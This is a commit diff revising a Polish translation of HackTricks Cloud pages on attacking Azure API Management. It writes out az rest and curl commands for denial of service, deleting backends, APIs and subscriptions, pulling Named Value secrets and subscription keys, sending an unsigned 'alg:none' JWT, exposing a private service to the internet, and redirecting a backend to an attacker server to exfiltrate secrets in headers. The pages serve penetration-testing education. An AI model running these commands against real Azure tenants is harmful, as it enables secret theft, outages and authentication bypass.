Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2025-12-26 18:51:22 +00:00
parent 41575f1c22
commit 990c83a2b3
3 changed files with 42 additions and 43 deletions
@@ -3,7 +3,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
Atakujący może użyć wielu wektorów, aby spowodować denial of service. Aby zablokować legalny ruch, atakujący dodaje rate-limiting i quota policies o ekstremalnie niskich wartościach, skutecznie uniemożliwiając normalny dostęp:
Atakujący może użyć wielu wektorów, aby spowodować denial of service. Aby zablokować prawidłowy ruch, atakujący dodaje polityki ograniczania szybkości i przydziału (quota) z ekstremalnie niskimi wartościami, skutecznie uniemożliwiając normalny dostęp:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -15,7 +15,7 @@ az rest --method PUT \
}
}'
```
Aby zablokować określone legalne adresy IP klientów, atakujący może dodać polityki filtrowania IP, które odrzucają żądania z wybranych adresów:
Aby zablokować konkretne, uprawnione client IPs, atakujący może dodać IP filtering policies, które odrzucają żądania pochodzące z wybranych adresów:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -28,7 +28,6 @@ az rest --method PUT \
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
Aby spowodować niepowodzenie żądań, atakujący może zmodyfikować konfigurację backendu i zmienić jego URL na nieprawidłowy lub niedostępny adres:
```bash
az rest --method PUT \
@@ -41,14 +40,14 @@ az rest --method PUT \
}
}'
```
Albo usuń backendy:
Lub usuń backends:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
Aby uczynić krytyczne API niedostępnymi, atakujący może usunąć je bezpośrednio z usługi API Management:
Aby spowodować niedostępność krytycznych API, atakujący może usunąć je bezpośrednio z usługi API Management:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
@@ -67,7 +66,7 @@ az rest --method PATCH \
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
Aby zablokować dostęp uprawnionym użytkownikom, atakujący może usunąć subskrypcje API Management:
Aby zablokować dostęp dla prawowitych użytkowników, atakujący może usunąć subskrypcje API Management:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
@@ -4,7 +4,7 @@
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
Atak polega na uzyskaniu dostępu do wrażliwych sekretów przechowywanych w Azure API Management Named Values, poprzez bezpośrednie pobranie wartości sekretów lub nadużycie uprawnień w celu pozyskania sekretów z Key Vault za pomocą managed identities.
Atak polega na uzyskaniu dostępu do wrażliwych sekretów przechowywanych w Azure API Management Named Values — albo przez bezpośrednie pobranie wartości sekretów, albo przez nadużycie uprawnień w celu uzyskania sekretów wspartych przez Key Vault za pomocą managed identities.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
@@ -14,7 +14,7 @@ Dla każdej subskrypcji atakujący może uzyskać klucze subskrypcji, używając
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
Odpowiedź zawiera klucz subskrypcji (primaryKey) i klucz pomocniczy (secondaryKey). Z tymi kluczami atakujący może się uwierzytelnić i uzyskać dostęp do API opublikowanych przez API Management Gateway:
Odpowiedź zawiera główny klucz subskrypcji (primaryKey) oraz pomocniczy klucz (secondaryKey). Przy użyciu tych kluczy atakujący może się uwierzytelnić i uzyskać dostęp do API opublikowanych przez API Management Gateway:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
@@ -28,7 +28,7 @@ Atakujący najpierw pobiera bieżącą politykę API:
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
Atakujący może modyfikować politykę na różne sposoby, zależnie od celów. Na przykład, aby wyłączyć uwierzytelnianie, jeśli polityka zawiera walidację tokenu JWT, może usunąć lub zakomentować tę sekcję:
Atakujący może zmodyfikować politykę na różne sposoby, w zależności od swoich celów. Na przykład, aby wyłączyć uwierzytelnianie, jeśli polityka zawiera walidację tokenu JWT, atakujący może usunąć lub zakomentować tę sekcję:
```xml
<policies>
<inbound>
@@ -49,7 +49,7 @@ Atakujący może modyfikować politykę na różne sposoby, zależnie od celów.
</on-error>
</policies>
```
Aby usunąć kontrole rate limiting i umożliwić denial-of-service attacks, atakujący może usunąć lub zakomentować quota i rate-limit policies:
Aby usunąć rate limiting controls i umożliwić denial-of-service attacks, atakujący może usunąć lub zakomentować quota and rate-limit policies:
```xml
<policies>
<inbound>
@@ -61,7 +61,7 @@ Aby usunąć kontrole rate limiting i umożliwić denial-of-service attacks, ata
...
</policies>
```
Aby zmodyfikować backend route i przekierować ruch na serwer kontrolowany przez atakującego:
Aby zmodyfikować trasę backendu i przekierować ruch na serwer kontrolowany przez atakującego:
```xml
<policies>
...
@@ -72,7 +72,7 @@ Aby zmodyfikować backend route i przekierować ruch na serwer kontrolowany prze
...
</policies>
```
Następnie atakujący stosuje zmodyfikowaną politykę. Treść żądania musi być obiektem JSON zawierającym politykę w formacie XML:
Atakujący następnie stosuje zmodyfikowaną politykę. Treść żądania musi być obiektem JSON zawierającym politykę w formacie XML:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
@@ -84,11 +84,11 @@ az rest --method PUT \
}
}'
```
## Błędna konfiguracja walidacji JWT
## Nieprawidłowa konfiguracja walidacji JWT
Atakujący musi wiedzieć, że API używa walidacji tokenów JWT i że polityka jest źle skonfigurowana. Źle skonfigurowane polityki walidacji JWT mogą mieć `require-signed-tokens="false"` lub `require-expiration-time="false"`, co pozwala usłudze akceptować unsigned tokens lub tokens that never expire.
Atakujący musi wiedzieć, że API używa walidacji tokenów JWT i że polityka jest źle skonfigurowana. Źle skonfigurowane polityki walidacji JWT mogą mieć `require-signed-tokens="false"` lub `require-expiration-time="false"`, co pozwala serwisowi akceptować niepodpisane tokeny lub tokeny, które nigdy nie wygasają.
Atakujący tworzy złośliwy token JWT używając none algorithm (unsigned):
Atakujący tworzy złośliwy token JWT używając algorytmu none (niepodpisany):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
@@ -100,17 +100,17 @@ curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Jeśli polityka jest błędnie skonfigurowana z `require-signed-tokens="false"`, usługa zaakceptuje niepodpisany token. Atakujący może również utworzyć token bez pola wygaśnięcia jeśli `require-expiration-time="false"`.
Jeśli polityka jest błędnie skonfigurowana z `require-signed-tokens="false"`, usługa zaakceptuje niepodpisany token. Atakujący może również utworzyć token bez roszczenia daty wygaśnięcia, jeśli `require-expiration-time="false"`.
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
Atakujący najpierw sprawdza obecną konfigurację sieciową usługi:
Atakujący najpierw sprawdza aktualną konfigurację sieciową usługi:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
Atakujący sprawdza odpowiedź JSON, aby zweryfikować wartości `publicNetworkAccess` i `virtualNetworkType`. Jeżeli `publicNetworkAccess` ma wartość false lub `virtualNetworkType` jest ustawiony na Internal, usługa jest skonfigurowana do dostępu prywatnego.
Atakujący przegląda odpowiedź JSON, aby zweryfikować wartości `publicNetworkAccess` i `virtualNetworkType`. Jeśli `publicNetworkAccess` jest ustawione na false lub `virtualNetworkType` jest ustawione na Internal, usługa jest skonfigurowana do dostępu prywatnego.
Aby udostępnić usługę w Internecie, atakujący musi zmienić oba ustawienia. Jeżeli usługa działa w trybie wewnętrznym (`virtualNetworkType: "Internal"`), atakujący zmienia ją na None lub External i włącza publiczny dostęp sieciowy. Można to zrobić za pomocą Azure Management API:
Aby udostępnić usługę w Internecie, atakujący musi zmienić obie te opcje. Jeśli usługa działa w trybie wewnętrznym (`virtualNetworkType: "Internal"`), atakujący zmienia ją na None lub External i włącza publiczny dostęp sieciowy. Można to zrobić za pomocą Azure Management API:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
@@ -122,20 +122,20 @@ az rest --method PATCH \
}
}'
```
Gdy `virtualNetworkType` zostanie ustawione na `None` lub `External`, a `publicNetworkAccess` jest włączony, usługa i wszystkie jej API stają się dostępne z Internetu, nawet jeśli wcześniej były chronione za prywatną siecią lub private endpoints.
Gdy `virtualNetworkType` jest ustawiony na `None` lub `External` i `publicNetworkAccess` jest włączony, usługa i wszystkie jej APIs stają się dostępne z Internetu, nawet jeśli wcześniej były chronione za siecią prywatną lub prywatnymi punktami końcowymi.
## `Microsoft.ApiManagement/service/backends/write`
Atakujący najpierw enumeruje istniejące backends, aby zidentyfikować, który zmodyfikować:
Atakujący najpierw enumeruje istniejące backends, aby zidentyfikować, który należy zmodyfikować:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
Atakujący pobiera aktualną konfigurację backendu, który chce zmodyfikować:
Atakujący pobiera bieżącą konfigurację backendu, który chce zmodyfikować:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
Atakujący modyfikuje URL backendu, aby wskazywał na serwer pod ich kontrolą. Najpierw pobiera ETag z poprzedniej odpowiedzi, a następnie aktualizują backend:
Atakujący modyfikuje backend URL, aby wskazywał na serwer pod jego kontrolą. Najpierw pobiera ETag z poprzedniej odpowiedzi, a następnie aktualizuje backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -148,7 +148,7 @@ az rest --method PUT \
}
}'
```
Alternatywnie atakujący może skonfigurować nagłówki backendu, aby exfiltrate Named Values zawierające sekrety. Odbywa się to poprzez konfigurację poświadczeń backendu:
Alternatywnie atakujący może skonfigurować nagłówki backendu, aby eksfiltrować Named Values zawierające sekrety. Odbywa się to poprzez konfigurację poświadczeń backendu:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
@@ -165,6 +165,6 @@ az rest --method PUT \
}
}'
```
Dzięki tej konfiguracji Named Values są wysyłane jako nagłówki we wszystkich żądaniach do backendu kontrolowanego przez atakującego, co umożliwia exfiltration wrażliwych sekretów.
Dzięki tej konfiguracji Named Values są wysyłane jako headers we wszystkich żądaniach do attacker-controlled backend, co umożliwia exfiltration of sensitive secrets.
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,43 +2,43 @@
{{#include ../../../banners/hacktricks-training.md}}
## Podstawowe informacje
## Basic Information
Azure API Management (APIM) to w pełni zarządzana usługa, która oferuje **zunifikowaną platformę do publikowania, zabezpieczania, transformowania, zarządzania i monitorowania API**. Umożliwia organizacjom **scentralizowanie strategii API** i zapewnienie spójnego zarządzania, wydajności i bezpieczeństwa dla wszystkich usług. Działając jako warstwa abstrakcji między usługami zaplecza a konsumentami API, APIM upraszcza integrację i zwiększa utrzymywalność, jednocześnie zapewniając kluczowe możliwości operacyjne i bezpieczeństwa.
Azure API Management (APIM) to w pełni zarządzana usługa, która oferuje **zunifikowaną platformę do publikowania, zabezpieczania, transformacji, zarządzania i monitorowania API**. Umożliwia organizacjom **centralizację strategii API** i zapewnienie spójnego nadzoru, wydajności oraz bezpieczeństwa we wszystkich usługach. Działając jako warstwa abstrakcji między usługami backend a konsumentami API, APIM upraszcza integrację i zwiększa łatwość utrzymania, jednocześnie dostarczając istotne możliwości operacyjne i bezpieczeństwa.
## Główne koncepcje
## Core Concepts
**The API Gateway** służy jako pojedynczy punkt wejścia dla całego ruchu API, obsługując funkcje takie jak kierowanie żądań do usług zaplecza, egzekwowanie limitów, buforowanie odpowiedzi oraz zarządzanie uwierzytelnianiem i autoryzacją. Ta bramka jest w pełni hostowana i zarządzana przez Azure, co zapewnia wysoką dostępność i skalowalność.
**API Gateway** pełni rolę pojedynczego punktu wejścia dla całego ruchu API, obsługując funkcje takie jak routowanie żądań do usług backend, egzekwowanie limitów szybkości, buforowanie odpowiedzi oraz zarządzanie uwierzytelnianiem i autoryzacją. Ta bramka jest w pełni hostowana i zarządzana przez Azure, co zapewnia wysoką dostępność i skalowalność.
**Portal dla deweloperów (Developer Portal)** zapewnia środowisko samoobsługowe, w którym konsumenci API mogą odkrywać dostępne API, czytać dokumentację i testować endpointy. Ułatwia onboarding dzięki narzędziom interaktywnym i dostępowi do informacji o subskrypcjach.
**Developer Portal** zapewnia środowisko samoobsługowe, w którym konsumenci API mogą odkrywać dostępne API, czytać dokumentację i testować endpointy. Ułatwia proces onboardingu, oferując narzędzia interaktywne oraz dostęp do informacji o subskrypcjach.
**Portal zarządzania (Management Plane)** jest używany przez administratorów do konfigurowania i utrzymania usługi APIM. Stąd użytkownicy mogą definiować API i operacje, konfigurować kontrolę dostępu, stosować polityki, zarządzać użytkownikami i organizować API w produkty. Ten portal centralizuje administrację i zapewnia spójne zarządzanie API.
**Management Portal (Management Plane)** służy administratorom do konfigurowania i utrzymania usługi APIM. Stąd użytkownicy mogą definiować API i operacje, konfigurować kontrolę dostępu, stosować policies, zarządzać użytkownikami oraz organizować API w produkty. Portal ten centralizuje administrację i zapewnia spójne zarządzanie API.
## Uwierzytelnianie i autoryzacja
## Authentication and Authorization
Azure API Management obsługuje kilka mechanizmów uwierzytelniania w celu zabezpieczenia dostępu do API. Należą do nich klucze subskrypcji, tokeny OAuth 2.0 oraz certyfikaty klienta. APIM integruje się natywnie z Microsoft Entra ID, umożliwiając zarządzanie tożsamością na poziomie korporacyjnym oraz bezpieczny dostęp zarówno do API, jak i usług zaplecza.
Azure API Management obsługuje kilka mechanizmów uwierzytelniania, aby zabezpiecz dostęp do API. Należą do nich **subscription keys**, **OAuth 2.0 tokens** oraz **client certificates**. APIM integruje się również natywnie z **Microsoft Entra ID**, umożliwiając **zarządzanie tożsamościami na poziomie przedsiębiorstwa** oraz **bezpieczny dostęp** zarówno do API, jak i usług backend.
## Polityki
## Policies
Polityki w APIM pozwalają administratorom dostosować przetwarzanie żądań i odpowiedzi na różnych poziomach szczegółowości, w tym na poziomie serwisu, API, operacji lub produktu. Dzięki politykom można egzekwować walidację tokenów JWT, transformować ładunki XML lub JSON, stosować ograniczenia liczby żądań (rate limiting), ograniczać wywołania według adresu IP oraz uwierzytelniać się wobec usług zaplecza przy użyciu managed identities. Polityki są bardzo elastyczne i stanowią jedną z kluczowych zalet platformy API Management, umożliwiając drobiazgową kontrolę zachowania w czasie wykonania bez modyfikowania kodu zaplecza.
Policies w APIM pozwalają administratorom dostosowyw**przetwarzanie żądań i odpowiedzi** na różnych poziomach granularności, w tym na poziomie **usługi**, **API**, **operacji** lub **produktu**. Dzięki policies można egzekwować walidację tokenów **JWT**, transformować ładunki XML lub JSON, stosować ograniczenia przepustowości, ograniczać wywołania według adresu IP lub uwierzytelniać się wobec usług backend z użyciem managed identities. Policies są **wyjątkowo elastyczne** i stanowią jedną z **kluczowych zalet** platformy API Management, umożliwiając **drobnoziarnistą kontrolę zachowania w czasie wykonywania** bez modyfikowania kodu backend.
## Named Values
Usługa udostępnia mechanizm zwany **Named Values**, który pozwala przechowywać **informacje konfiguracyjne** takie jak **sekrety**, **klucze API** lub inne wartości wymagane przez polityki.
Usługa oferuje mechanizm zwany **Named Values**, który pozwala przechowywać **informacje konfiguracyjne** takie jak **secrety**, **API keys** lub inne wartości wymagane przez policies.
Wartości te można przechowywać bezpośrednio w APIM lub bezpiecznie odwoływać się do nich z **Azure Key Vault**. Named Values wspiera**bezpieczne i scentralizowane zarządzanie** danymi konfiguracyjnymi i upraszczają tworzenie polityk poprzez umożliwienie **wielokrotnego użycia odniesień** zamiast wartości na stałe w kodzie.
Wartości te mogą być przechowywane bezpośrednio w APIM lub bezpiecznie odwoływane z **Azure Key Vault**. Named Values promu**bezpieczne i scentralizowane zarządzanie** danymi konfiguracyjnymi oraz upraszczają tworzenie policies poprzez umożliwienie **wielokrotnego użycia referencji** zamiast wklejania wartości na stałe.
## Integracja sieciowa i bezpieczeństwo
## Networking and Security Integration
Azure API Management integruje się bezproblemowo ze środowiskami **Virtual Network (VNet)**, umożliwiając prywatne i bezpieczne łączenie z systemami zaplecza.
Azure API Management integruje się bezproblemowo ze środowiskami sieci wirtualnych, umożliwiając **prywatne i bezpieczne połączenia** do systemów backend.
Po wdrożeniu wewnątrz **Virtual Network (VNet)**, APIM może uzyskiwać dostęp do usług wewnętrznych bez ich publicznego udostępniania. Usługa pozwala także na konfigurację **własnych certyfikatów** w celu obsługi **mutual TLS** z usługami zaplecza, poprawiając bezpieczeństwo w scenariuszach wymagających **silnej walidacji tożsamości**.
Po wdrożeniu wewnątrz **Virtual Network (VNet)**, APIM może uzyskiwać dostęp do **usług wewnętrznych** bez ich publicznego udostępniania. Usługa pozwala również na konfigurację **custom certificates** w celu obsługi **mutual TLS authentication** z usługami backend, zwiększając bezpieczeństwo w scenariuszach wymagających **silnej weryfikacji tożsamości**.
Te funkcje sieciowe czynią APIM odpowiednim zarówno dla architektur **cloud-native**, jak i **hybrydowych**.
Te **funkcje sieciowe** czynią APIM odpowiednim zarówno dla architektur **cloud-native**, jak i **hybrydowych**.
### Enumeracja
### Enumerate
Aby przeprowadzić enumerację usługi API Management:
Aby enumerować usługę API Management:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>